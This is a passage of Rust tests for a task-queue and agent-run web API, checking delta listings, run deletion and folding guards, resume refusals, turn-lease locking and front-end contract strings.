14024 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
14025 let talks = serde_json::to_value(
14026 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
14027 .await
14028 .unwrap()
14029 .0,
14030 )
14031 .unwrap();
14032 assert_eq!(talks.as_array().unwrap().len(), 1);
14033 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
14034 assert_eq!(
14035 serde_json::to_value(
14036 talks_list(State(ui.clone()), query(Some("")))
14037 .await
14038 .unwrap()
14039 .0
14040 )
14041 .unwrap(),
14042 serde_json::json!([])
14043 );
14044 }
14045
14046 #[tokio::test]
14047 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
14048 async fn delta_payload_benchmark() {
14049 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
14050 let ui = delta_test_ui(&home);
14051 let query = |ids: Option<String>| {
14052 Query(ListQuery {
14053 limit: Some(50),
14054 ids,
14055 })
14056 };
14057 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
14058 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
14059 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
14060 let queue_id = queue
14061 .iter()
14062 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
14063 .unwrap_or(&queue[0])
14064 .task
14065 .id
14066 .clone();
14067 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
14068 .await
14069 .unwrap()
14070 .0;
14071 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
14072 .await
14073 .unwrap()
14074 .0;
14075 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
14076 .await
14077 .unwrap()
14078 .0;
14079 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
14080 eprintln!(
14081 "DELTA_PAYLOAD {}",
14082 serde_json::json!({
14083 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
14084 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
14085 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
14086 "counts": [queue.len(), runs.len(), talks.len()],
14087 "blocked": queue_delta.len() - 1,
14088 })
14089 );
14090 }
14091
14092 #[test]
14093 fn runs_revision_moves_when_deleting_an_older_run() {
14094 let temp = TempDir::new().expect("tempdir");
14095 let runs = temp.path().join("runs");
14096 std::fs::create_dir_all(&runs).expect("create runs dir");
14097
14098 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
14099
14100 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
14101 std::thread::sleep(Duration::from_millis(10));
14102 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
14103
14104 let rev_before = runs_revision(&runs);
14105 assert!(rev_before > 0);
14106
14107 let old_dir = runs.join("20260901-100000-old1");
14108 std::fs::remove_dir_all(&old_dir).expect("remove old run");
14109
14110 let rev_after = runs_revision(&runs);
14111 assert_ne!(
14112 rev_before, rev_after,
14113 "deleting an older run must change the revision so other clients see the deletion"
14114 );
14115 }
14116
14117 fn write_state(runs: &FsPath, state: &RunState) {
14122 let dir = runs.join(&state.id);
14123 std::fs::create_dir_all(&dir).expect("run dir");
14124 std::fs::write(
14125 dir.join("run.json"),
14126 serde_json::to_string_pretty(state).expect("serialize run"),
14127 )
14128 .expect("write run.json");
14129 }
14130
14131 #[test]
14136 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
14137 let temp = TempDir::new().expect("tempdir");
14138 let runs = temp.path().join("runs");
14139 std::fs::create_dir_all(&runs).expect("create runs dir");
14140 let mut state = RunState::new(
14141 PathBuf::from("/repo/magi"),
14142 "main".to_owned(),
14143 "0123456789abcdef".to_owned(),
14144 "task".to_owned(),
14145 Config::default(),
14146 );
14147 state.id = "20260902-100000-c0de".to_owned();
14148 write_state(&runs, &state);
14149
14150 let rev_idle = runs_revision(&runs);
14151 std::thread::sleep(Duration::from_millis(10));
14152 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
14153 write_state(&runs, &state);
14154 let rev_started = runs_revision(&runs);
14155 assert_ne!(
14156 rev_idle, rev_started,
14157 "a seat starting must move the revision"
14158 );
14159
14160 std::thread::sleep(Duration::from_millis(10));
14161 state.seat_finished("judge-1");
14162 write_state(&runs, &state);
14163 let rev_finished = runs_revision(&runs);
14164 assert_ne!(
14165 rev_started, rev_finished,
14166 "and clearing it again must move the revision a second time"
14167 );
14168 }
14169
14170 #[tokio::test]
14171 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
14172 let fx = Fixture::start().await;
14177 let q = fx.queue();
14178
14179 let mut t = Task::new(
14180 "Task".to_owned(),
14181 "Instruction".to_owned(),
14182 PathBuf::from("/repo"),
14183 Source::Human,
14184 );
14185 t.block(
14186 vec!["20260101-000000-dead".to_owned()],
14187 Some("waiting on Task 1".to_owned()),
14188 );
14189 t.answers.push(crate::queue::AnsweredQuestion {
14190 question: "Which backend?".to_owned(),
14191 answer: "SQLite".to_owned(),
14192 });
14193 q.put(&mut t).expect("put t");
14194
14195 let res = fx.get("/api/queue").await;
14196 assert_eq!(res.status, 200);
14197 let list = res.json();
14198 let view = list
14199 .as_array()
14200 .expect("array")
14201 .iter()
14202 .find(|v| v["id"] == t.id)
14203 .expect("task in list");
14204 assert_eq!(view["status_str"], "blocked");
14205 assert_eq!(
14206 view["blocked_by"],
14207 serde_json::json!(["20260101-000000-dead"])
14208 );
14209 assert_eq!(view["block_reason"], "waiting on Task 1");
14210 assert_eq!(view["answers"][0]["question"], "Which backend?");
14211 assert_eq!(view["answers"][0]["answer"], "SQLite");
14212
14213 let res = fx
14217 .post(&format!("/api/queue/{}/hold", t.short()), None)
14218 .await;
14219 assert_eq!(res.status, 200);
14220 let held = res.json();
14221 assert_eq!(held["status_str"], "held");
14222 assert_eq!(held["blocked_by"], serde_json::json!([]));
14223 assert!(held["block_reason"].is_null());
14224 assert_eq!(held["answers"][0]["answer"], "SQLite");
14225 }
14226
14227 #[tokio::test]
14228 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
14229 let fx = Fixture::start().await;
14230 let q = fx.queue();
14231 let mk = |title: &str| {
14232 Task::new(
14233 title.to_owned(),
14234 "Instruction".to_owned(),
14235 PathBuf::from("/repo"),
14236 Source::Human,
14237 )
14238 };
14239 let mut root = mk("root");
14240 root.hold_manual(Some("waiting".to_owned()));
14241 q.put(&mut root).unwrap();
14242 let mut mid = mk("mid");
14243 mid.block(vec![root.id.clone()], None);
14244 q.put(&mut mid).unwrap();
14245 let mut leaf = mk("leaf");
14246 leaf.block(vec![mid.id.clone()], None);
14247 q.put(&mut leaf).unwrap();
14248
14249 let list = fx.get("/api/queue").await.json();
14250 let find = |id: &str| {
14251 list.as_array()
14252 .unwrap()
14253 .iter()
14254 .find(|v| v["id"] == id)
14255 .unwrap()
14256 .clone()
14257 };
14258 let leaf_view = find(&leaf.id);
14259 assert_eq!(
14260 leaf_view["waits_on"],
14261 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
14262 );
14263 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
14264 assert_eq!(
14265 find(&mid.id)["waits_on"],
14266 serde_json::json!([format!("{} (held)", root.short())])
14267 );
14268 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
14269 }
14270
14271 #[tokio::test]
14272 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
14273 let fx = Fixture::start().await;
14274 let q = fx.queue();
14275
14276 let mut t1 = Task::new(
14278 "Task 1".to_owned(),
14279 "Instruction 1".to_owned(),
14280 PathBuf::from("/repo"),
14281 Source::Human,
14282 );
14283 let run_id = "20260901-000000-r111";
14284 t1.runs.push(run_id.to_owned());
14285 write_run(&fx.runs(), run_id, RunStatus::Merged);
14286 q.put(&mut t1).expect("put t1");
14287
14288 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
14290 assert_eq!(res.status, 204);
14291 assert!(res.body.is_empty(), "204 No Content has no body");
14292 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
14293 assert!(
14294 fx.runs().join(run_id).exists(),
14295 "run directory must not be deleted when its task is deleted"
14296 );
14297
14298 let mut t2 = Task::new(
14300 "Task 2".to_owned(),
14301 "Instruction 2".to_owned(),
14302 PathBuf::from("/repo"),
14303 Source::Human,
14304 );
14305 t2.status = TaskStatus::Running;
14306 q.put(&mut t2).expect("put t2");
14307 let mut beat = crate::daemon::Status::new();
14308 beat.current = vec![crate::daemon::Current {
14309 task: t2.id.clone(),
14310 run: "20260901-000000-r222".to_owned(),
14311 }];
14312 beat.updated_at = jiff::Timestamp::now();
14313 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14314 .expect("publish a heartbeat");
14315 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
14316 assert_eq!(res.status, 409);
14317 assert!(
14318 res.json()["error"]
14319 .as_str()
14320 .unwrap()
14321 .contains("live daemon")
14322 );
14323 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
14324
14325 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
14331 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14332 .expect("leave a stale heartbeat");
14333 let mut t3 = Task::new(
14334 "Task 3".to_owned(),
14335 "Instruction 3".to_owned(),
14336 PathBuf::from("/repo"),
14337 Source::Human,
14338 );
14339 t3.status = TaskStatus::Running;
14340 q.put(&mut t3).expect("put t3");
14341 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
14342 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
14343 assert_eq!(res.status, 204);
14344 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
14345 assert!(
14346 q.claim(&t3.id).is_ok(),
14347 "the stale lock went with it, so the id is claimable again"
14348 );
14349
14350 let res = fx.delete("/api/queue/nonexistent").await;
14352 assert_eq!(res.status, 404);
14353 }
14354
14355 #[tokio::test]
14356 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
14357 let fx = Fixture::start().await;
14358 let runs = fx.runs();
14359
14360 let run_id = "20260901-000000-fold";
14362 let mut state = RunState::new(
14363 PathBuf::from("/repo"),
14364 "main".to_owned(),
14365 "abc".to_owned(),
14366 "instruction".to_owned(),
14367 Config::default(),
14368 );
14369 state.id = run_id.to_owned();
14370 state.status = RunStatus::Merged;
14371 state.candidates.push(crate::run::Candidate {
14372 index: 0,
14373 label: 'A',
14374 agent: "a".to_owned(),
14375 branch: "b".to_owned(),
14376 worktree: PathBuf::from("/w"),
14377 summary: String::new(),
14378 stat: String::new(),
14379 files: 1,
14380 commits: 1,
14381 empty: false,
14382 failed: None,
14383 verified_noop: None,
14384 duration_ms: 0,
14385 folded: true,
14386 });
14387 let dir = runs.join(run_id);
14388 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
14389 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
14390 .expect("write artifact");
14391 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
14392 .expect("write run.json");
14393
14394 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
14396 assert_eq!(res.status, 204);
14397 assert!(res.body.is_empty(), "204 has no body");
14398 assert!(!dir.exists(), "run directory and artifacts must be deleted");
14399
14400 let run_running = "20260901-000000-rung";
14405 write_run(&runs, run_running, RunStatus::Prep);
14406 let mut beat = crate::daemon::Status::new();
14407 beat.current = vec![crate::daemon::Current {
14408 task: "20260901-000000-task".to_owned(),
14409 run: run_running.to_owned(),
14410 }];
14411 beat.updated_at = jiff::Timestamp::now();
14412 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14413 .expect("publish a heartbeat");
14414 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14415 assert_eq!(res.status, 409);
14416 assert!(
14417 res.json()["error"]
14418 .as_str()
14419 .unwrap()
14420 .contains("live daemon"),
14421 "the refusal must say who is holding it"
14422 );
14423 assert!(
14424 runs.join(run_running).exists(),
14425 "a run in flight keeps its directory"
14426 );
14427
14428 let run_unfolded = "20260901-000000-unfd";
14430 let mut state2 = RunState::new(
14431 PathBuf::from("/repo"),
14432 "main".to_owned(),
14433 "abc".to_owned(),
14434 "instruction".to_owned(),
14435 Config::default(),
14436 );
14437 state2.id = run_unfolded.to_owned();
14438 state2.status = RunStatus::Ready;
14439 state2.candidates.push(crate::run::Candidate {
14440 index: 0,
14441 label: 'A',
14442 agent: "a".to_owned(),
14443 branch: "b".to_owned(),
14444 worktree: PathBuf::from("/w"),
14445 summary: String::new(),
14446 stat: String::new(),
14447 files: 1,
14448 commits: 1,
14449 empty: false,
14450 failed: None,
14451 verified_noop: None,
14452 duration_ms: 0,
14453 folded: false,
14454 });
14455 let dir2 = runs.join(run_unfolded);
14456 std::fs::create_dir_all(&dir2).expect("create dir2");
14457 std::fs::write(
14458 dir2.join("run.json"),
14459 serde_json::to_string(&state2).unwrap(),
14460 )
14461 .expect("write run.json");
14462
14463 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14464 assert_eq!(res.status, 409);
14465 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14466 assert!(dir2.exists(), "unfolded run directory is kept");
14467
14468 let res = fx.delete("/api/runs/nonexistent").await;
14470 assert_eq!(res.status, 404);
14471 }
14472
14473 #[test]
14482 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14483 let start = APP_JS
14484 .find("function renderStats() {")
14485 .expect("renderStats");
14486 let end = start
14487 + APP_JS[start..]
14488 .find("function statsTile(")
14489 .expect("the next top-level function");
14490 let body = &APP_JS[start..end];
14491
14492 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14493 let gate_end = gate_start
14494 + body[gate_start..]
14495 .find("}\n renderStatsQueue")
14496 .expect("the gate's own closing brace, right before the unconditional call");
14497 let gated = &body[gate_start..gate_end];
14498
14499 assert_eq!(
14500 body.matches("renderStatsQueue(").count(),
14501 1,
14502 "renderStats must call renderStatsQueue exactly once: {body}"
14503 );
14504 assert!(
14505 !gated.contains("renderStatsQueue"),
14506 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14507 run-derived panels on an empty run history - the queue panel has to render \
14508 regardless: {gated}"
14509 );
14510 }
14511
14512 #[test]
14513 fn web_ui_delete_contract_in_front_end() {
14514 assert!(APP_JS.contains("deleteRun:"));
14516 assert!(APP_JS.contains("deleteTask:"));
14517
14518 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
14520 ..APP_JS.find("function renderRuns").unwrap()];
14521 assert!(!run_cards_slice.to_lowercase().contains("delete"));
14522
14523 assert!(APP_JS.contains("renderRunDelete"));
14525 assert!(APP_JS.contains("runDeleteReason"));
14526 assert!(APP_JS.contains("magi fold"));
14527 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
14528
14529 assert!(APP_JS.contains("cancel.focus"));
14531 assert!(APP_JS.contains("armedRunDelete"));
14532 assert!(APP_JS.contains("renderTaskDeleteBox"));
14533 assert!(APP_JS.contains("armed${cap(key)}"));
14534
14535 assert!(APP_JS.contains("disabled: status === \"running\""));
14537 }
14538
14539 #[test]
14559 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
14560 let build = APP_JS
14561 .find("function createRunCard")
14562 .expect("createRunCard exists");
14563 let update = APP_JS
14564 .find("function updateRunCard")
14565 .expect("updateRunCard exists");
14566 let end = APP_JS
14567 .find("function renderRuns")
14568 .expect("renderRuns exists");
14569
14570 let builder = &APP_JS[build..update];
14572 let open = builder.find("refs = {").expect("createRunCard sets refs");
14573 let literal = &builder[open + "refs = {".len()..];
14574 let close = literal.find('}').expect("the refs literal is closed");
14575 let published: HashSet<&str> = literal[..close]
14576 .split(',')
14577 .filter_map(|entry| entry.split(':').next())
14579 .map(str::trim)
14580 .filter(|name| !name.is_empty())
14581 .collect();
14582 assert!(
14583 published.len() > 5,
14584 "the refs literal did not parse into names: {published:?}"
14585 );
14586
14587 let mut used: Vec<&str> = Vec::new();
14590 let updaters = &APP_JS[update..end];
14591 for (at, _) in updaters.match_indices("r.") {
14592 let before = updaters[..at].chars().next_back();
14595 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
14596 continue;
14597 }
14598 let rest = &updaters[at + 2..];
14599 let len = rest
14600 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
14601 .unwrap_or(rest.len());
14602 if len > 0 {
14603 used.push(&rest[..len]);
14604 }
14605 }
14606 assert!(
14607 used.len() > 5,
14608 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
14609 );
14610
14611 let missing: Vec<&str> = used
14612 .iter()
14613 .copied()
14614 .filter(|name| !published.contains(name))
14615 .collect();
14616 assert!(
14617 missing.is_empty(),
14618 "a run card's updater reaches for {missing:?}, which `createRunCard` \
14619 never put in `refs` - every card will throw and the list will \
14620 render empty under a count line that says otherwise. Published: \
14621 {published:?}"
14622 );
14623 }
14624
14625 #[tokio::test]
14626 async fn folding_from_the_phone_reports_what_it_removed() {
14627 let fx = Fixture::start().await;
14628 let runs = fx.runs();
14629
14630 let id = "20260901-000000-fold";
14634 write_run(&runs, id, RunStatus::Stalled);
14635 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14636 assert_eq!(res.status, 200);
14637 assert_eq!(res.json()["removed_count"], 0);
14638 assert_eq!(res.json()["run"], id);
14639 assert!(
14640 runs.join(id).exists(),
14641 "a fold keeps the run's record; only the worktrees go"
14642 );
14643 }
14644
14645 #[tokio::test]
14646 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
14647 let fx = Fixture::start().await;
14648 let runs = fx.runs();
14649 let wt = fx.home.path().join("wt").join("magi").join("dead");
14650 let id = "20260901-000000-dead";
14651 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14652 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14653 std::fs::create_dir_all(&wt).expect("worktree dir");
14654
14655 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14656 assert_eq!(res.status, 200, "{}", res.body);
14657 assert!(
14658 res.json()["removed_count"].as_u64().unwrap() > 0,
14659 "the worktree this build could not read a state for still went"
14660 );
14661 assert!(
14662 !runs.join(id).exists(),
14663 "an unreadable run has no candidate list to fold selectively, so \
14664 the whole record goes - same as `magi fold` on the CLI"
14665 );
14666 }
14667
14668 #[tokio::test]
14669 async fn deleting_an_unreadable_run_removes_it_wholesale() {
14670 let fx = Fixture::start().await;
14671 let runs = fx.runs();
14672 let wt = fx.home.path().join("wt").join("magi").join("gone");
14673 let id = "20260901-000000-gone";
14674 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14675 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14676 std::fs::create_dir_all(&wt).expect("worktree dir");
14677
14678 let res = fx.delete(&format!("/api/runs/{id}")).await;
14679 assert_eq!(res.status, 204, "{}", res.body);
14680 assert!(!runs.join(id).exists(), "the broken record is gone");
14681 assert!(!wt.exists(), "its worktree is gone too");
14682 }
14683
14684 #[tokio::test]
14685 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14686 let fx = Fixture::start().await;
14687 let runs = fx.runs();
14688 let id = "20260901-000000-live";
14689 write_run(&runs, id, RunStatus::Implementing);
14690
14691 let mut beat = crate::daemon::Status::new();
14692 beat.current = vec![crate::daemon::Current {
14693 task: "20260901-000000-task".to_owned(),
14694 run: id.to_owned(),
14695 }];
14696 beat.updated_at = jiff::Timestamp::now();
14697 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14698 .expect("publish a heartbeat");
14699
14700 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14701 assert_eq!(res.status, 409);
14702 assert!(
14703 res.json()["error"]
14704 .as_str()
14705 .unwrap()
14706 .contains("live daemon"),
14707 "folding under a running agent would pull its worktree away"
14708 );
14709 }
14710
14711 #[tokio::test]
14712 async fn fold_merged_requires_a_pr_url() {
14713 let fx = Fixture::start().await;
14714 let runs = fx.runs();
14715 let id = "20260901-000000-nourl";
14716 write_run(&runs, id, RunStatus::Blocked);
14717
14718 let res = fx
14719 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14720 .await;
14721 assert_eq!(res.status, 400, "{}", res.body);
14722
14723 let blank = fx
14724 .post(
14725 &format!("/api/runs/{id}/fold-merged"),
14726 Some(r#"{"pr_url":" "}"#),
14727 )
14728 .await;
14729 assert_eq!(blank.status, 400, "{}", blank.body);
14730 }
14731
14732 #[tokio::test]
14733 async fn fold_merged_is_404_for_an_unknown_run() {
14734 let fx = Fixture::start().await;
14735 let res = fx
14736 .post(
14737 "/api/runs/nosuchrun/fold-merged",
14738 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14739 )
14740 .await;
14741 assert_eq!(res.status, 404, "{}", res.body);
14742 }
14743
14744 #[tokio::test]
14745 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14746 let fx = Fixture::start().await;
14747 let runs = fx.runs();
14748 let id = "20260901-000000-livemerge";
14749 write_run(&runs, id, RunStatus::Blocked);
14750
14751 let mut beat = crate::daemon::Status::new();
14752 beat.current = vec![crate::daemon::Current {
14753 task: "20260901-000000-task".to_owned(),
14754 run: id.to_owned(),
14755 }];
14756 beat.updated_at = jiff::Timestamp::now();
14757 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14758 .expect("publish a heartbeat");
14759
14760 let res = fx
14761 .post(
14762 &format!("/api/runs/{id}/fold-merged"),
14763 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14764 )
14765 .await;
14766 assert_eq!(res.status, 409, "{}", res.body);
14767 assert!(
14768 res.json()["error"]
14769 .as_str()
14770 .unwrap()
14771 .contains("live daemon"),
14772 "correcting a run's merge underneath a running agent would race \
14773 whatever it is doing to the same `status`/`merge` fields"
14774 );
14775 }
14776
14777 #[tokio::test]
14782 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14783 let fx = Fixture::start().await;
14784 let runs = fx.runs();
14785 let id = "20260901-000000-unconfirmed";
14786 write_run(&runs, id, RunStatus::Blocked);
14787
14788 let res = fx
14789 .post(
14790 &format!("/api/runs/{id}/fold-merged"),
14791 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14792 )
14793 .await;
14794 assert_eq!(res.status, 400, "{}", res.body);
14795 assert_eq!(
14796 read_run(&runs, id).unwrap().status,
14797 RunStatus::Blocked,
14798 "a pull request that could not be confirmed merged must leave \
14799 the run exactly where it was"
14800 );
14801 }
14802
14803 #[tokio::test]
14804 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14805 let fx = Fixture::start().await;
14806 let runs = fx.runs();
14807
14808 for (status, word) in [
14814 (RunStatus::Merged, "merged"),
14815 (RunStatus::Ready, "ready"),
14816 (RunStatus::Failed, "failed"),
14817 ] {
14818 let id = format!("20260901-000000-{}", &word[..4]);
14819 write_run(&runs, &id, status);
14820 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14821 assert_eq!(res.status, 409, "{word} must not be resumable");
14822 let err = res.json()["error"].as_str().unwrap().to_owned();
14823 assert!(err.contains(word), "the refusal names the status: {err}");
14824 }
14825
14826 let mid = "20260901-000000-midf";
14831 write_run(&runs, mid, RunStatus::Reviewing);
14832 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14833 assert_eq!(res.status, 202, "an interrupted run is resumable");
14834 }
14835
14836 #[tokio::test]
14837 async fn resume_is_refused_while_the_loop_is_running() {
14838 let fx = Fixture::start().await;
14839 let runs = fx.runs();
14840 let stalled = "20260901-000000-stal";
14841 write_run(&runs, stalled, RunStatus::Stalled);
14842
14843 let mut beat = crate::daemon::Status::new();
14847 beat.current = vec![crate::daemon::Current {
14848 task: "20260901-000000-task".to_owned(),
14849 run: "20260901-000000-othr".to_owned(),
14850 }];
14851 beat.updated_at = jiff::Timestamp::now();
14852 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14853 .expect("publish a heartbeat");
14854
14855 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14856 assert_eq!(res.status, 409);
14857 let err = res.json()["error"].as_str().unwrap().to_owned();
14858 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14859 assert!(err.contains("stop it first"), "{err}");
14860 }
14861
14862 #[test]
14863 fn a_run_cannot_be_resumed_twice_at_once() {
14864 let home = TempDir::new().expect("temp home");
14865 let ui = Ui::new(
14866 Queue::at(home.path().join("queue")),
14867 Questions::at(home.path().join("questions")),
14868 Talks::at(home.path().join("talks")),
14869 home.path().join("runs"),
14870 home.path().to_path_buf(),
14871 PathBuf::from("/repo"),
14872 )
14873 .with_worktrees_root(home.path().join("wt"));
14874 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14875 let again = ui.begin_resume("20260901-000000-once");
14876 assert!(again.is_err(), "a second tap must not start a second graph");
14877 drop(first);
14878 assert!(
14879 ui.begin_resume("20260901-000000-once").is_ok(),
14880 "and the claim is released when the attempt ends"
14881 );
14882 }
14883
14884 #[test]
14885 fn talk_thinking_tracks_only_its_held_turn_claim() {
14886 let home = TempDir::new().expect("temp home");
14887 let ui = Ui::new(
14888 Queue::at(home.path().join("queue")),
14889 Questions::at(home.path().join("questions")),
14890 Talks::at(home.path().join("talks")),
14891 home.path().join("runs"),
14892 home.path().to_path_buf(),
14893 PathBuf::from("/repo"),
14894 )
14895 .with_worktrees_root(home.path().join("wt"));
14896 let id = "20260901-000000-once";
14897
14898 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14899 let turn = ui.begin_talk_turn(id).expect("claim turn");
14900 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14901 assert!(
14902 !ui.is_thinking("20260901-000000-other"),
14903 "one talk's turn does not make another talk busy"
14904 );
14905 drop(turn);
14906 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14907 }
14908
14909 #[test]
14910 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14911 let home = TempDir::new().expect("temp home");
14912 let talks = Talks::at(home.path().join("talks"));
14913 let ui = Ui::new(
14914 Queue::at(home.path().join("queue")),
14915 Questions::at(home.path().join("questions")),
14916 talks.clone(),
14917 home.path().join("runs"),
14918 home.path().to_path_buf(),
14919 PathBuf::from("/repo"),
14920 )
14921 .with_worktrees_root(home.path().join("wt"));
14922 let id = "20260901-000000-cross";
14923
14924 let other = Talks::at(home.path().join("talks"))
14925 .claim_turn(id)
14926 .expect("claim")
14927 .expect("the other process wins");
14928 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14929 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14930 assert!(
14931 matches!(
14932 ui.begin_talk_turn_unless_pending(id).expect("start"),
14933 TalkTurnStart::Foreign
14934 ),
14935 "a foreign holder is refused, not queued behind"
14936 );
14937 assert!(
14938 !ui.talk_turns.lock().unwrap().live.contains(id),
14939 "a refused claim leaves no in-process entry behind"
14940 );
14941 drop(other);
14942 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14943 assert!(talks.turn_held(id), "the web turn holds the lease");
14944 drop(turn);
14945 assert!(
14946 !talks.turn_held(id),
14947 "dropping the guard releases the lease"
14948 );
14949 }
14950
14951 #[test]
14952 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
14953 let home = TempDir::new().expect("temp home");
14954 let talks = Talks::at(home.path().join("talks"));
14955 let ui = Ui::new(
14956 Queue::at(home.path().join("queue")),
14957 Questions::at(home.path().join("questions")),
14958 talks.clone(),
14959 home.path().join("runs"),
14960 home.path().to_path_buf(),
14961 PathBuf::from("/repo"),
14962 )
14963 .with_worktrees_root(home.path().join("wt"));
14964 let id = "20260901-000000-order";
14965 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
14966 let slots = ui.talk_turns.lock().unwrap();
14968 let dropper = std::thread::spawn(move || drop(turn));
14969 let start = std::time::Instant::now();
14970 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
14971 std::thread::sleep(Duration::from_millis(5));
14972 }
14973 assert!(!talks.turn_held(id), "the lease is released first");
14974 assert!(slots.live.contains(id), "the slot is still held meanwhile");
14975 drop(slots);
14976 dropper.join().expect("join");
14977 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
14978 }
14979
14980 #[tokio::test]
14981 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14982 let fx = Fixture::start().await;
14983 let mut beat = crate::daemon::Status::new();
14987 beat.pid = 4321;
14988 beat.updated_at = jiff::Timestamp::now();
14989 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14990 .expect("publish a heartbeat");
14991
14992 let res = fx.post("/api/upgrade", None).await;
14993 assert_eq!(res.status, 409);
14994 let err = res.json()["error"].as_str().unwrap().to_owned();
14995 assert!(err.contains("4321"), "the refusal names the owner: {err}");
14996 assert!(err.contains("old one against the same queue"), "{err}");
14997 }
14998
14999 #[test]
15006 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
15007 assert!(!should_spawn_recheck(&crate::config::Update {
15008 mode: UpdateMode::Off,
15009 interval: None,
15010 }));
15011
15012 unsafe {
15015 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15016 }
15017 let killed = should_spawn_recheck(&crate::config::Update {
15018 mode: UpdateMode::Notify,
15019 interval: None,
15020 });
15021 unsafe {
